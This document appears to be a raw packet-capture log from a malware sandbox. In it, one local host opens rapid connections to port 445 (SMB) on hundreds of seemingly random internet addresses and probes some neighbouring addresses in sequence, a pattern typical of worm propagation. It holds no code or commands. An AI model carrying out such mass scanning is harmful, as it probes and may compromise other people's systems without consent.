Dec 22, 2022 10:06:42.091161013 CET	58556	445	192.168.2.6	176.210.131.82
Dec 22, 2022 10:06:42.126646042 CET	58559	445	192.168.2.6	176.131.168.101
Dec 22, 2022 10:06:42.128122091 CET	58564	445	192.168.2.6	118.9.222.181
Dec 22, 2022 10:06:42.128742933 CET	58565	445	192.168.2.6	208.1.251.71
Dec 22, 2022 10:06:42.131333113 CET	58566	445	192.168.2.6	159.236.41.121
Dec 22, 2022 10:06:42.131962061 CET	58570	445	192.168.2.6	2.39.132.243
Dec 22, 2022 10:06:42.132262945 CET	58573	445	192.168.2.6	154.58.9.66
Dec 22, 2022 10:06:42.132802010 CET	58578	445	192.168.2.6	15.221.37.33
Dec 22, 2022 10:06:42.133522034 CET	58585	445	192.168.2.6	217.224.232.142
Dec 22, 2022 10:06:42.133712053 CET	58586	445	192.168.2.6	186.130.63.84
Dec 22, 2022 10:06:42.133865118 CET	58587	445	192.168.2.6	14.207.225.221
Dec 22, 2022 10:06:42.134053946 CET	58589	445	192.168.2.6	140.204.246.51
Dec 22, 2022 10:06:42.134222031 CET	58591	445	192.168.2.6	170.100.174.32
Dec 22, 2022 10:06:42.134872913 CET	58597	445	192.168.2.6	35.79.28.131
Dec 22, 2022 10:06:42.135164976 CET	58599	445	192.168.2.6	91.140.210.40
Dec 22, 2022 10:06:42.135560036 CET	58602	445	192.168.2.6	147.206.245.133
Dec 22, 2022 10:06:42.135804892 CET	58605	445	192.168.2.6	112.195.200.176
Dec 22, 2022 10:06:42.136043072 CET	58608	445	192.168.2.6	169.4.223.55
Dec 22, 2022 10:06:42.136228085 CET	58609	445	192.168.2.6	21.27.101.26
Dec 22, 2022 10:06:42.136554003 CET	58611	445	192.168.2.6	172.76.178.6
Dec 22, 2022 10:06:42.187829018 CET	445	58557	176.210.131.82	192.168.2.6
Dec 22, 2022 10:06:42.195055962 CET	445	58557	176.210.131.82	192.168.2.6
Dec 22, 2022 10:06:42.195177078 CET	58557	445	192.168.2.6	176.210.131.82
Dec 22, 2022 10:06:42.205593109 CET	58618	445	192.168.2.6	194.85.235.103
Dec 22, 2022 10:06:42.299252033 CET	445	58557	176.210.131.82	192.168.2.6
Dec 22, 2022 10:06:42.299520016 CET	58557	445	192.168.2.6	176.210.131.82
Dec 22, 2022 10:06:42.378902912 CET	58620	445	192.168.2.6	120.72.96.50
Dec 22, 2022 10:06:42.379020929 CET	58621	445	192.168.2.6	75.62.248.54
Dec 22, 2022 10:06:42.389009953 CET	58627	445	192.168.2.6	197.185.139.53
Dec 22, 2022 10:06:42.389713049 CET	58637	445	192.168.2.6	14.125.169.165
Dec 22, 2022 10:06:42.390224934 CET	58645	445	192.168.2.6	202.180.66.8
Dec 22, 2022 10:06:42.390479088 CET	58648	445	192.168.2.6	210.138.240.229
Dec 22, 2022 10:06:42.392148018 CET	58650	445	192.168.2.6	157.55.156.183
Dec 22, 2022 10:06:42.392218113 CET	58651	445	192.168.2.6	110.31.222.194
Dec 22, 2022 10:06:42.392329931 CET	58652	445	192.168.2.6	155.248.11.7
Dec 22, 2022 10:06:42.401276112 CET	445	58557	176.210.131.82	192.168.2.6
Dec 22, 2022 10:06:42.401391029 CET	58557	445	192.168.2.6	176.210.131.82
Dec 22, 2022 10:06:42.454478025 CET	58258	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:06:42.503192902 CET	445	58557	176.210.131.82	192.168.2.6
Dec 22, 2022 10:06:42.503350973 CET	58557	445	192.168.2.6	176.210.131.82
Dec 22, 2022 10:06:42.532629013 CET	58553	445	192.168.2.6	134.220.39.1
Dec 22, 2022 10:06:42.548249960 CET	58548	445	192.168.2.6	134.220.39.37
Dec 22, 2022 10:06:42.610312939 CET	445	58557	176.210.131.82	192.168.2.6
Dec 22, 2022 10:06:42.610413074 CET	58557	445	192.168.2.6	176.210.131.82
Dec 22, 2022 10:06:42.657741070 CET	58554	445	192.168.2.6	134.220.39.1
Dec 22, 2022 10:06:42.663384914 CET	445	58620	120.72.96.50	192.168.2.6
Dec 22, 2022 10:06:43.173295975 CET	58620	445	192.168.2.6	120.72.96.50
Dec 22, 2022 10:06:43.236172915 CET	58656	445	192.168.2.6	149.226.106.246
Dec 22, 2022 10:06:43.236409903 CET	58660	445	192.168.2.6	211.89.113.155
Dec 22, 2022 10:06:43.236886024 CET	58666	445	192.168.2.6	194.157.89.225
Dec 22, 2022 10:06:43.236952066 CET	58668	445	192.168.2.6	160.3.68.37
Dec 22, 2022 10:06:43.237095118 CET	58667	445	192.168.2.6	7.95.97.122
Dec 22, 2022 10:06:43.237483978 CET	58677	445	192.168.2.6	74.171.227.157
Dec 22, 2022 10:06:43.237571001 CET	58678	445	192.168.2.6	143.22.94.35
Dec 22, 2022 10:06:43.237607002 CET	58679	445	192.168.2.6	202.167.6.214
Dec 22, 2022 10:06:43.237700939 CET	58681	445	192.168.2.6	57.135.0.195
Dec 22, 2022 10:06:43.237958908 CET	58682	445	192.168.2.6	112.113.42.106
Dec 22, 2022 10:06:43.238101006 CET	58690	445	192.168.2.6	104.166.136.69
Dec 22, 2022 10:06:43.238101006 CET	58688	445	192.168.2.6	113.238.82.154
Dec 22, 2022 10:06:43.238291025 CET	58694	445	192.168.2.6	135.181.3.63
Dec 22, 2022 10:06:43.238362074 CET	58696	445	192.168.2.6	24.228.236.138
Dec 22, 2022 10:06:43.238519907 CET	58698	445	192.168.2.6	48.203.191.218
Dec 22, 2022 10:06:43.238595009 CET	58699	445	192.168.2.6	53.124.15.44
Dec 22, 2022 10:06:43.238646030 CET	58701	445	192.168.2.6	133.253.20.195
Dec 22, 2022 10:06:43.239219904 CET	58710	445	192.168.2.6	44.241.58.53
Dec 22, 2022 10:06:43.239244938 CET	58712	445	192.168.2.6	93.232.131.194
Dec 22, 2022 10:06:43.315152884 CET	58715	445	192.168.2.6	20.14.54.218
Dec 22, 2022 10:06:43.457972050 CET	445	58620	120.72.96.50	192.168.2.6
Dec 22, 2022 10:06:43.487051010 CET	58717	445	192.168.2.6	3.136.113.6
Dec 22, 2022 10:06:43.487315893 CET	58718	445	192.168.2.6	85.204.150.161
Dec 22, 2022 10:06:43.489115000 CET	58725	445	192.168.2.6	21.56.172.203
Dec 22, 2022 10:06:43.491611004 CET	58735	445	192.168.2.6	206.170.78.238
Dec 22, 2022 10:06:43.492961884 CET	58742	445	192.168.2.6	141.65.52.100
Dec 22, 2022 10:06:43.493638039 CET	58746	445	192.168.2.6	130.237.104.62
Dec 22, 2022 10:06:43.502222061 CET	58747	445	192.168.2.6	112.198.158.139
Dec 22, 2022 10:06:43.502986908 CET	58748	445	192.168.2.6	36.223.196.134
Dec 22, 2022 10:06:43.503798962 CET	58749	445	192.168.2.6	80.71.197.47
Dec 22, 2022 10:06:43.544162035 CET	445	58749	80.71.197.47	192.168.2.6
Dec 22, 2022 10:06:43.735882998 CET	58553	445	192.168.2.6	134.220.39.1
Dec 22, 2022 10:06:43.751444101 CET	58548	445	192.168.2.6	134.220.39.37
Dec 22, 2022 10:06:43.860850096 CET	58554	445	192.168.2.6	134.220.39.1
Dec 22, 2022 10:06:44.048418045 CET	58749	445	192.168.2.6	80.71.197.47
Dec 22, 2022 10:06:44.088656902 CET	445	58749	80.71.197.47	192.168.2.6
Dec 22, 2022 10:06:44.361202002 CET	58753	445	192.168.2.6	50.19.102.176
Dec 22, 2022 10:06:44.361675024 CET	58756	445	192.168.2.6	16.196.26.172
Dec 22, 2022 10:06:44.361903906 CET	58762	445	192.168.2.6	67.191.249.0
Dec 22, 2022 10:06:44.361968040 CET	58763	445	192.168.2.6	90.149.59.101
Dec 22, 2022 10:06:44.362386942 CET	58767	445	192.168.2.6	149.220.210.37
Dec 22, 2022 10:06:44.362658978 CET	58773	445	192.168.2.6	10.16.96.41
Dec 22, 2022 10:06:44.362741947 CET	58774	445	192.168.2.6	188.18.129.53
Dec 22, 2022 10:06:44.362840891 CET	58776	445	192.168.2.6	57.78.116.248
Dec 22, 2022 10:06:44.362942934 CET	58778	445	192.168.2.6	17.80.98.69
Dec 22, 2022 10:06:44.363008022 CET	58777	445	192.168.2.6	67.225.90.83
Dec 22, 2022 10:06:44.363218069 CET	58784	445	192.168.2.6	171.135.3.161
Dec 22, 2022 10:06:44.363332033 CET	58787	445	192.168.2.6	151.151.178.107
Dec 22, 2022 10:06:44.363501072 CET	58791	445	192.168.2.6	136.132.231.176
Dec 22, 2022 10:06:44.363599062 CET	58792	445	192.168.2.6	85.4.70.89
Dec 22, 2022 10:06:44.363739014 CET	58793	445	192.168.2.6	90.38.6.217
Dec 22, 2022 10:06:44.363800049 CET	58795	445	192.168.2.6	96.111.57.219
Dec 22, 2022 10:06:44.363898039 CET	58797	445	192.168.2.6	131.62.204.120
Dec 22, 2022 10:06:44.364327908 CET	58807	445	192.168.2.6	107.252.250.9
Dec 22, 2022 10:06:44.364809990 CET	58809	445	192.168.2.6	95.187.20.74
Dec 22, 2022 10:06:44.441754103 CET	58811	445	192.168.2.6	66.106.105.29
Dec 22, 2022 10:06:44.448419094 CET	445	58774	188.18.129.53	192.168.2.6
Dec 22, 2022 10:06:44.452248096 CET	58774	445	192.168.2.6	188.18.129.53
Dec 22, 2022 10:06:44.456681013 CET	58774	445	192.168.2.6	188.18.129.53
Dec 22, 2022 10:06:44.456887960 CET	58813	445	192.168.2.6	188.18.129.1
Dec 22, 2022 10:06:44.544348955 CET	445	58774	188.18.129.53	192.168.2.6
Dec 22, 2022 10:06:44.544414997 CET	445	58774	188.18.129.53	192.168.2.6
Dec 22, 2022 10:06:44.544744968 CET	58774	445	192.168.2.6	188.18.129.53
Dec 22, 2022 10:06:44.612540960 CET	58814	445	192.168.2.6	62.4.143.233
Dec 22, 2022 10:06:44.613280058 CET	58815	445	192.168.2.6	110.95.73.194
Dec 22, 2022 10:06:44.613989115 CET	58816	445	192.168.2.6	205.134.89.61
Dec 22, 2022 10:06:44.614676952 CET	58818	445	192.168.2.6	140.174.222.227
Dec 22, 2022 10:06:44.614851952 CET	58819	445	192.168.2.6	67.234.225.227
Dec 22, 2022 10:06:44.616468906 CET	58826	445	192.168.2.6	83.149.82.82
Dec 22, 2022 10:06:44.619184971 CET	58836	445	192.168.2.6	35.54.170.21
Dec 22, 2022 10:06:44.620843887 CET	58843	445	192.168.2.6	47.62.175.6
Dec 22, 2022 10:06:44.621356964 CET	58846	445	192.168.2.6	105.142.151.183
Dec 22, 2022 10:06:44.860963106 CET	58258	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:06:45.471120119 CET	58852	445	192.168.2.6	35.99.246.81
Dec 22, 2022 10:06:45.472196102 CET	58856	445	192.168.2.6	99.143.246.22
Dec 22, 2022 10:06:45.472722054 CET	58861	445	192.168.2.6	141.226.247.125
Dec 22, 2022 10:06:45.472871065 CET	58862	445	192.168.2.6	95.120.194.29
Dec 22, 2022 10:06:45.473870039 CET	58870	445	192.168.2.6	170.250.93.102
Dec 22, 2022 10:06:45.473964930 CET	58872	445	192.168.2.6	141.249.127.144
Dec 22, 2022 10:06:45.474203110 CET	58874	445	192.168.2.6	173.111.109.194
Dec 22, 2022 10:06:45.474368095 CET	58875	445	192.168.2.6	123.4.14.210
Dec 22, 2022 10:06:45.474564075 CET	58877	445	192.168.2.6	144.57.91.188
Dec 22, 2022 10:06:45.474895000 CET	58882	445	192.168.2.6	6.106.224.234
Dec 22, 2022 10:06:45.475147963 CET	58885	445	192.168.2.6	176.72.207.125
Dec 22, 2022 10:06:45.475560904 CET	58890	445	192.168.2.6	175.177.204.219
Dec 22, 2022 10:06:45.475676060 CET	58889	445	192.168.2.6	104.16.210.88
Dec 22, 2022 10:06:45.475795984 CET	58892	445	192.168.2.6	78.233.197.209
Dec 22, 2022 10:06:45.475924015 CET	58893	445	192.168.2.6	36.166.62.237
Dec 22, 2022 10:06:45.476044893 CET	58895	445	192.168.2.6	22.16.79.253
Dec 22, 2022 10:06:45.476779938 CET	58905	445	192.168.2.6	41.8.180.9
Dec 22, 2022 10:06:45.477597952 CET	58907	445	192.168.2.6	196.237.53.157
Dec 22, 2022 10:06:45.518376112 CET	58909	445	192.168.2.6	188.18.129.2
Dec 22, 2022 10:06:45.518493891 CET	58910	445	192.168.2.6	176.210.131.82
Dec 22, 2022 10:06:45.549312115 CET	58911	445	192.168.2.6	40.218.174.151
Dec 22, 2022 10:06:45.579005003 CET	445	58861	141.226.247.125	192.168.2.6
Dec 22, 2022 10:06:45.623307943 CET	445	58910	176.210.131.82	192.168.2.6
Dec 22, 2022 10:06:45.623487949 CET	58910	445	192.168.2.6	176.210.131.82
Dec 22, 2022 10:06:45.628317118 CET	58910	445	192.168.2.6	176.210.131.82
Dec 22, 2022 10:06:45.727475882 CET	445	58910	176.210.131.82	192.168.2.6
Dec 22, 2022 10:06:45.731388092 CET	445	58910	176.210.131.82	192.168.2.6
Dec 22, 2022 10:06:45.731512070 CET	58910	445	192.168.2.6	176.210.131.82
Dec 22, 2022 10:06:45.736814022 CET	58913	445	192.168.2.6	106.32.34.58
Dec 22, 2022 10:06:45.737411976 CET	58914	445	192.168.2.6	183.160.58.199
Dec 22, 2022 10:06:45.737884998 CET	58915	445	192.168.2.6	104.82.226.174
Dec 22, 2022 10:06:45.738233089 CET	58917	445	192.168.2.6	162.19.93.91
Dec 22, 2022 10:06:45.738325119 CET	58918	445	192.168.2.6	34.239.90.95
Dec 22, 2022 10:06:45.738760948 CET	58924	445	192.168.2.6	165.168.187.7
Dec 22, 2022 10:06:45.739661932 CET	58935	445	192.168.2.6	26.84.119.6
Dec 22, 2022 10:06:45.740537882 CET	58941	445	192.168.2.6	129.178.219.26
Dec 22, 2022 10:06:45.741103888 CET	58945	445	192.168.2.6	166.194.245.232
Dec 22, 2022 10:06:45.835499048 CET	445	58910	176.210.131.82	192.168.2.6
Dec 22, 2022 10:06:45.835642099 CET	58910	445	192.168.2.6	176.210.131.82
Dec 22, 2022 10:06:45.939507008 CET	445	58910	176.210.131.82	192.168.2.6
Dec 22, 2022 10:06:45.977576971 CET	58910	445	192.168.2.6	176.210.131.82
Dec 22, 2022 10:06:46.079312086 CET	445	58910	176.210.131.82	192.168.2.6
Dec 22, 2022 10:06:46.079426050 CET	58910	445	192.168.2.6	176.210.131.82
Dec 22, 2022 10:06:46.079780102 CET	58861	445	192.168.2.6	141.226.247.125
Dec 22, 2022 10:06:46.142307997 CET	58553	445	192.168.2.6	134.220.39.1
Dec 22, 2022 10:06:46.143884897 CET	58949	445	192.168.2.6	176.210.131.83
Dec 22, 2022 10:06:46.157968998 CET	58548	445	192.168.2.6	134.220.39.37
Dec 22, 2022 10:06:46.183490992 CET	445	58910	176.210.131.82	192.168.2.6
Dec 22, 2022 10:06:46.183593035 CET	58910	445	192.168.2.6	176.210.131.82
Dec 22, 2022 10:06:46.184060097 CET	445	58861	141.226.247.125	192.168.2.6
Dec 22, 2022 10:06:46.254545927 CET	445	58949	176.210.131.83	192.168.2.6
Dec 22, 2022 10:06:46.254648924 CET	58949	445	192.168.2.6	176.210.131.83
Dec 22, 2022 10:06:46.254787922 CET	58949	445	192.168.2.6	176.210.131.83
Dec 22, 2022 10:06:46.256858110 CET	58950	445	192.168.2.6	176.210.131.83
Dec 22, 2022 10:06:46.267318964 CET	58554	445	192.168.2.6	134.220.39.1
Dec 22, 2022 10:06:46.358397961 CET	445	58950	176.210.131.83	192.168.2.6
Dec 22, 2022 10:06:46.358580112 CET	58950	445	192.168.2.6	176.210.131.83
Dec 22, 2022 10:06:46.358649969 CET	58950	445	192.168.2.6	176.210.131.83
Dec 22, 2022 10:06:46.362441063 CET	445	58949	176.210.131.83	192.168.2.6
Dec 22, 2022 10:06:46.370486021 CET	445	58949	176.210.131.83	192.168.2.6
Dec 22, 2022 10:06:46.370623112 CET	58949	445	192.168.2.6	176.210.131.83
Dec 22, 2022 10:06:46.462414026 CET	445	58950	176.210.131.83	192.168.2.6
Dec 22, 2022 10:06:46.470406055 CET	445	58950	176.210.131.83	192.168.2.6
Dec 22, 2022 10:06:46.470705986 CET	58950	445	192.168.2.6	176.210.131.83
Dec 22, 2022 10:06:46.574364901 CET	445	58950	176.210.131.83	192.168.2.6
Dec 22, 2022 10:06:46.574642897 CET	58950	445	192.168.2.6	176.210.131.83
Dec 22, 2022 10:06:46.580555916 CET	58953	445	192.168.2.6	188.18.129.3
Dec 22, 2022 10:06:46.596241951 CET	58954	445	192.168.2.6	154.39.6.49
Dec 22, 2022 10:06:46.596976995 CET	58958	445	192.168.2.6	99.6.202.220
Dec 22, 2022 10:06:46.597713947 CET	58963	445	192.168.2.6	49.235.21.225
Dec 22, 2022 10:06:46.598010063 CET	58965	445	192.168.2.6	125.219.26.213
Dec 22, 2022 10:06:46.599433899 CET	58973	445	192.168.2.6	169.147.5.29
Dec 22, 2022 10:06:46.599608898 CET	58974	445	192.168.2.6	30.90.215.121
Dec 22, 2022 10:06:46.599806070 CET	58976	445	192.168.2.6	99.32.163.110
Dec 22, 2022 10:06:46.599889040 CET	58977	445	192.168.2.6	152.124.80.242
Dec 22, 2022 10:06:46.600111008 CET	58979	445	192.168.2.6	119.224.156.125
Dec 22, 2022 10:06:46.600509882 CET	58984	445	192.168.2.6	50.90.199.244
Dec 22, 2022 10:06:46.600724936 CET	58987	445	192.168.2.6	51.38.102.164
Dec 22, 2022 10:06:46.601002932 CET	58991	445	192.168.2.6	196.47.109.9
Dec 22, 2022 10:06:46.607023001 CET	58995	445	192.168.2.6	59.58.175.64
Dec 22, 2022 10:06:46.607031107 CET	58992	445	192.168.2.6	140.94.224.185
Dec 22, 2022 10:06:46.607189894 CET	58997	445	192.168.2.6	95.123.141.168
Dec 22, 2022 10:06:46.607944012 CET	59007	445	192.168.2.6	160.66.53.210
Dec 22, 2022 10:06:46.608582973 CET	59009	445	192.168.2.6	12.56.48.126
Dec 22, 2022 10:06:46.619667053 CET	445	58987	51.38.102.164	192.168.2.6
Dec 22, 2022 10:06:46.660414934 CET	59012	445	192.168.2.6	92.136.161.9
Dec 22, 2022 10:06:46.678402901 CET	445	58950	176.210.131.83	192.168.2.6
Dec 22, 2022 10:06:46.679090977 CET	58950	445	192.168.2.6	176.210.131.83
Dec 22, 2022 10:06:46.689218044 CET	58257	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:06:46.703938007 CET	445	58954	154.39.6.49	192.168.2.6
Dec 22, 2022 10:06:46.782558918 CET	445	58950	176.210.131.83	192.168.2.6
Dec 22, 2022 10:06:46.782784939 CET	58950	445	192.168.2.6	176.210.131.83
Dec 22, 2022 10:06:46.847898006 CET	59014	445	192.168.2.6	2.201.117.70
Dec 22, 2022 10:06:46.848360062 CET	59015	445	192.168.2.6	142.175.11.3
Dec 22, 2022 10:06:46.848820925 CET	59016	445	192.168.2.6	7.254.136.105
Dec 22, 2022 10:06:46.865863085 CET	59018	445	192.168.2.6	159.47.184.71
Dec 22, 2022 10:06:46.866039991 CET	59019	445	192.168.2.6	207.38.22.24
Dec 22, 2022 10:06:46.866589069 CET	59025	445	192.168.2.6	217.207.254.79
Dec 22, 2022 10:06:46.867299080 CET	59035	445	192.168.2.6	90.126.247.85
Dec 22, 2022 10:06:46.867639065 CET	59040	445	192.168.2.6	223.200.13.194
Dec 22, 2022 10:06:46.868005991 CET	59045	445	192.168.2.6	160.176.65.132
Dec 22, 2022 10:06:46.886429071 CET	445	58950	176.210.131.83	192.168.2.6
Dec 22, 2022 10:06:46.886524916 CET	58950	445	192.168.2.6	176.210.131.83
Dec 22, 2022 10:06:47.126776934 CET	58987	445	192.168.2.6	51.38.102.164
Dec 22, 2022 10:06:47.145809889 CET	445	58987	51.38.102.164	192.168.2.6
Dec 22, 2022 10:06:47.204863071 CET	58954	445	192.168.2.6	154.39.6.49
Dec 22, 2022 10:06:47.312509060 CET	445	58954	154.39.6.49	192.168.2.6
Dec 22, 2022 10:06:47.658749104 CET	59052	445	192.168.2.6	188.18.129.4
Dec 22, 2022 10:06:47.721152067 CET	59053	445	192.168.2.6	140.127.245.1
Dec 22, 2022 10:06:47.722007036 CET	59055	445	192.168.2.6	33.240.198.72
Dec 22, 2022 10:06:47.722342014 CET	59056	445	192.168.2.6	126.239.131.15
Dec 22, 2022 10:06:47.722538948 CET	59058	445	192.168.2.6	46.42.132.183
Dec 22, 2022 10:06:47.722645044 CET	59059	445	192.168.2.6	120.163.164.108
Dec 22, 2022 10:06:47.723083019 CET	59063	445	192.168.2.6	189.13.58.118
Dec 22, 2022 10:06:47.723653078 CET	59066	445	192.168.2.6	103.144.204.91
Dec 22, 2022 10:06:47.724375010 CET	59071	445	192.168.2.6	3.83.250.51
Dec 22, 2022 10:06:47.724669933 CET	59073	445	192.168.2.6	125.152.169.196
Dec 22, 2022 10:06:47.724773884 CET	59074	445	192.168.2.6	97.200.151.41
Dec 22, 2022 10:06:47.725001097 CET	59076	445	192.168.2.6	30.26.32.154
Dec 22, 2022 10:06:47.725863934 CET	59077	445	192.168.2.6	27.33.20.134
Dec 22, 2022 10:06:47.726975918 CET	59085	445	192.168.2.6	120.209.200.231
Dec 22, 2022 10:06:47.727283001 CET	59087	445	192.168.2.6	111.43.54.106
Dec 22, 2022 10:06:47.727731943 CET	59092	445	192.168.2.6	66.48.74.113
Dec 22, 2022 10:06:47.729007006 CET	59103	445	192.168.2.6	87.82.96.36
Dec 22, 2022 10:06:47.729712009 CET	59104	445	192.168.2.6	3.246.171.41
Dec 22, 2022 10:06:47.730011940 CET	59106	445	192.168.2.6	109.147.226.172
Dec 22, 2022 10:06:47.771171093 CET	59110	445	192.168.2.6	99.218.247.235
Dec 22, 2022 10:06:47.958352089 CET	59113	445	192.168.2.6	72.10.53.73
Dec 22, 2022 10:06:47.959247112 CET	59114	445	192.168.2.6	144.174.148.245
Dec 22, 2022 10:06:47.960432053 CET	59115	445	192.168.2.6	143.115.32.10
Dec 22, 2022 10:06:47.971704960 CET	59118	445	192.168.2.6	176.32.152.127
Dec 22, 2022 10:06:47.972130060 CET	59123	445	192.168.2.6	26.156.54.224
Dec 22, 2022 10:06:47.972677946 CET	59129	445	192.168.2.6	55.68.191.219
Dec 22, 2022 10:06:47.973520994 CET	59139	445	192.168.2.6	141.93.106.0
Dec 22, 2022 10:06:47.975002050 CET	59145	445	192.168.2.6	111.55.8.103
Dec 22, 2022 10:06:47.975199938 CET	59146	445	192.168.2.6	88.107.212.197
Dec 22, 2022 10:06:48.029170036 CET	445	59056	126.239.131.15	192.168.2.6
Dec 22, 2022 10:06:48.533155918 CET	59056	445	192.168.2.6	126.239.131.15
Dec 22, 2022 10:06:48.743980885 CET	59151	445	192.168.2.6	188.18.129.5
Dec 22, 2022 10:06:48.840241909 CET	445	59056	126.239.131.15	192.168.2.6
Dec 22, 2022 10:06:48.846183062 CET	59153	445	192.168.2.6	189.212.49.96
Dec 22, 2022 10:06:48.847373009 CET	59159	445	192.168.2.6	50.235.138.183
Dec 22, 2022 10:06:48.847795010 CET	59161	445	192.168.2.6	210.202.130.169
Dec 22, 2022 10:06:48.847795010 CET	59162	445	192.168.2.6	38.220.106.178
Dec 22, 2022 10:06:48.849096060 CET	59177	445	192.168.2.6	221.120.228.201
Dec 22, 2022 10:06:48.849701881 CET	59178	445	192.168.2.6	75.138.219.34
Dec 22, 2022 10:06:48.849920034 CET	59180	445	192.168.2.6	142.63.21.47
Dec 22, 2022 10:06:48.850267887 CET	59183	445	192.168.2.6	29.64.21.3
Dec 22, 2022 10:06:48.850538969 CET	59185	445	192.168.2.6	9.103.160.23
Dec 22, 2022 10:06:48.850895882 CET	59189	445	192.168.2.6	154.37.25.188
Dec 22, 2022 10:06:48.851001978 CET	59190	445	192.168.2.6	125.66.93.11
Dec 22, 2022 10:06:48.851361036 CET	59194	445	192.168.2.6	187.93.222.103
Dec 22, 2022 10:06:48.851926088 CET	59199	445	192.168.2.6	5.210.192.106
Dec 22, 2022 10:06:48.852169037 CET	59201	445	192.168.2.6	109.219.46.11
Dec 22, 2022 10:06:48.852343082 CET	59203	445	192.168.2.6	6.247.57.253
Dec 22, 2022 10:06:48.852746010 CET	59205	445	192.168.2.6	44.167.135.252
Dec 22, 2022 10:06:48.864420891 CET	59206	445	192.168.2.6	29.40.235.96
Dec 22, 2022 10:06:48.877677917 CET	59211	445	192.168.2.6	26.170.31.123
Dec 22, 2022 10:06:49.017733097 CET	445	59159	50.235.138.183	192.168.2.6
Dec 22, 2022 10:06:49.096865892 CET	59218	445	192.168.2.6	125.154.20.156
Dec 22, 2022 10:06:49.098351955 CET	59228	445	192.168.2.6	62.242.97.121
Dec 22, 2022 10:06:49.099184990 CET	59234	445	192.168.2.6	10.249.162.181
Dec 22, 2022 10:06:49.099380016 CET	59235	445	192.168.2.6	166.227.138.11
Dec 22, 2022 10:06:49.100198984 CET	59236	445	192.168.2.6	213.49.164.221
Dec 22, 2022 10:06:49.101058006 CET	59237	445	192.168.2.6	182.169.218.186
Dec 22, 2022 10:06:49.101948023 CET	59238	445	192.168.2.6	161.70.89.244
Dec 22, 2022 10:06:49.102230072 CET	59240	445	192.168.2.6	100.234.13.243
Dec 22, 2022 10:06:49.102685928 CET	59245	445	192.168.2.6	107.12.177.187
Dec 22, 2022 10:06:49.517947912 CET	59159	445	192.168.2.6	50.235.138.183
Dec 22, 2022 10:06:49.673870087 CET	58258	445	192.168.2.6	84.6.126.3
Dec 22, 2022 10:06:49.688214064 CET	445	59159	50.235.138.183	192.168.2.6
Dec 22, 2022 10:06:49.787015915 CET	59250	445	192.168.2.6	176.210.131.83
Dec 22, 2022 10:06:49.801009893 CET	59251	445	192.168.2.6	188.18.129.6
Dec 22, 2022 10:06:49.898627996 CET	445	59250	176.210.131.83	192.168.2.6
Dec 22, 2022 10:06:49.898739100 CET	59250	445	192.168.2.6	176.210.131.83
Dec 22, 2022 10:06:49.898796082 CET	59250	445	192.168.2.6	176.210.131.83
Dec 22, 2022 10:06:49.971430063 CET	59254	445	192.168.2.6	186.143.162.228
Dec 22, 2022 10:06:49.972575903 CET	59255	445	192.168.2.6	189.194.84.112
Dec 22, 2022 10:06:49.973259926 CET	59263	445	192.168.2.6	103.110.96.15
Dec 22, 2022 10:06:49.973376989 CET	59264	445	192.168.2.6	110.208.40.9
Dec 22, 2022 10:06:49.973591089 CET	59266	445	192.168.2.6	22.139.188.65
Dec 22, 2022 10:06:49.974677086 CET	59281	445	192.168.2.6	214.107.135.22
Dec 22, 2022 10:06:49.974862099 CET	59283	445	192.168.2.6	163.67.60.0
Dec 22, 2022 10:06:49.975483894 CET	59286	445	192.168.2.6	172.96.88.245
Dec 22, 2022 10:06:49.975586891 CET	59287	445	192.168.2.6	37.159.192.157
Dec 22, 2022 10:06:49.975749016 CET	59289	445	192.168.2.6	48.39.29.160
Dec 22, 2022 10:06:49.975981951 CET	59292	445	192.168.2.6	96.205.88.184
Dec 22, 2022 10:06:49.976229906 CET	59294	445	192.168.2.6	124.61.108.87
Dec 22, 2022 10:06:49.976435900 CET	59297	445	192.168.2.6	141.242.85.227
Dec 22, 2022 10:06:49.976555109 CET	59298	445	192.168.2.6	197.31.102.60
Dec 22, 2022 10:06:49.976933956 CET	59303	445	192.168.2.6	139.239.59.120
Dec 22, 2022 10:06:49.977065086 CET	59304	445	192.168.2.6	167.17.129.203
Dec 22, 2022 10:06:49.977201939 CET	59306	445	192.168.2.6	40.173.246.218
Dec 22, 2022 10:06:49.977307081 CET	59307	445	192.168.2.6	4.133.7.195
Dec 22, 2022 10:06:49.987152100 CET	59312	445	192.168.2.6	97.219.85.75
Dec 22, 2022 10:06:50.006306887 CET	445	59250	176.210.131.83	192.168.2.6
Dec 22, 2022 10:06:50.009370089 CET	445	59287	37.159.192.157	192.168.2.6
Dec 22, 2022 10:06:50.013587952 CET	445	59250	176.210.131.83	192.168.2.6
Dec 22, 2022 10:06:50.013796091 CET	59250	445	192.168.2.6	176.210.131.83
Dec 22, 2022 10:06:50.126471996 CET	445	59250	176.210.131.83	192.168.2.6
Dec 22, 2022 10:06:50.126593113 CET	59250	445	192.168.2.6	176.210.131.83
Dec 22, 2022 10:06:50.222069979 CET	59318	445	192.168.2.6	208.233.211.135
Dec 22, 2022 10:06:50.222934961 CET	59329	445	192.168.2.6	46.134.154.107
Dec 22, 2022 10:06:50.223409891 CET	59335	445	192.168.2.6	35.30.76.100
Dec 22, 2022 10:06:50.223625898 CET	59336	445	192.168.2.6	60.157.98.9
Dec 22, 2022 10:06:50.223803997 CET	59338	445	192.168.2.6	154.128.44.122
Dec 22, 2022 10:06:50.224178076 CET	59343	445	192.168.2.6	50.168.0.69
Dec 22, 2022 10:06:50.226342916 CET	59345	445	192.168.2.6	220.164.165.214
Dec 22, 2022 10:06:50.226649046 CET	59346	445	192.168.2.6	186.172.239.52
Dec 22, 2022 10:06:50.226733923 CET	59347	445	192.168.2.6	206.78.220.218
Dec 22, 2022 10:06:50.238755941 CET	445	59250	176.210.131.83	192.168.2.6
Dec 22, 2022 10:06:50.238909960 CET	59250	445	192.168.2.6	176.210.131.83
Dec 22, 2022 10:06:50.350394011 CET	445	59250	176.210.131.83	192.168.2.6
Dec 22, 2022 10:06:50.350522995 CET	59250	445	192.168.2.6	176.210.131.83
Dec 22, 2022 10:06:50.417823076 CET	59349	445	192.168.2.6	176.210.131.84
Dec 22, 2022 10:06:50.462560892 CET	445	59250	176.210.131.83	192.168.2.6
Dec 22, 2022 10:06:50.462656975 CET	59250	445	192.168.2.6	176.210.131.83
Dec 22, 2022 10:06:50.517776012 CET	59287	445	192.168.2.6	37.159.192.157
Dec 22, 2022 10:06:50.530376911 CET	445	59349	176.210.131.84	192.168.2.6
Dec 22, 2022 10:06:50.530533075 CET	59349	445	192.168.2.6	176.210.131.84
